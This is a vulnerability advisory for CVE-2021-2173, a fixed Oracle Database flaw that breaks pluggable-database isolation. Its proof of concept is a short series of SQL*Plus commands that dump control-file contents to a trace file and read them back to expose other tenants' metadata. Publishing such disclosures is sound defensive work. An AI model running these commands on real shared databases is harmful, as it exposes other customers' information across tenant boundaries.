Oracle DB Broken PDB Isolation / Metadata Exposure Vulnerability

Title: CVE-2021-2173 – PDB Isolation is broken through metadata exposure
Product:                   Database
Manufacturer:              Oracle
Affected Version(s):       12.1.0.2, 12.2.0.1, 18c, 19c
Tested Version(s):         19c
Risk Level:                Medium
Solution Status:           Fixed
CVE Reference:             CVE-2021-2173
Author of Advisory:        Emad Al-Mousa

Overview:

Oracle CDB Architecture was introduced in Oracle starting from 12cR1 as a shift in their architecture to adopt Multitenancy approach for Cloud infrastructure deployment. As any other  new architecture, security issues/vulnerabilities can take place. In this vulnerability I am going to show that from PDB level with account granted DBA role I can extract metadata information of other pluggable databases within the same container.


*****************************************
Vulnerability Details:

attacker in a pluggable database can exfiltrate metdata info. for other co-existing databases within the same container.


*****************************************
Proof of Concept (PoC):

I will create account called “ironman” in PDB1:

sqlplus / as sysdba

SQL> alter session set container=PDB1;

SQL> create user ironman identified by ironman_2021;

SQL> grant create session to ironman;

SQL> grant dba to ironman;

SQL> alter user ironman default role all;

SQL> exit;

Then, I will connect using ironman to PDB1 and execute the following:

// dumping controlfile contents

SQL> alter session set events 'immediate trace name controlf level 4';

SQL> select * from v$diag_info where NAME='Default Trace File';

SQL> select payload from V$DIAG_TRACE_FILE_CONTENTS where TRACE_FILENAME='ORCLCDB_ora_7387.trc';

After Inspecting the output, for example we can now know the location of SYSTEM data file for PDB2 database within the same container in addition to other information.

So, from PDB1 the attacker will be able to view the metadata information of other customer’s PDB’s within the same container, this should not be happening in the first place as ISOLATION should be enforced !



*****************************************
References:
https://www.oracle.com/security-alerts/cpuapr2021.html
https://nvd.nist.gov/vuln/detail/CVE-2021-2173
https://databasesecurityninja.wordpress.com/2021/06/04/cve-2021-2173-pdb-isolation-is-broken-through-metadata-exposure/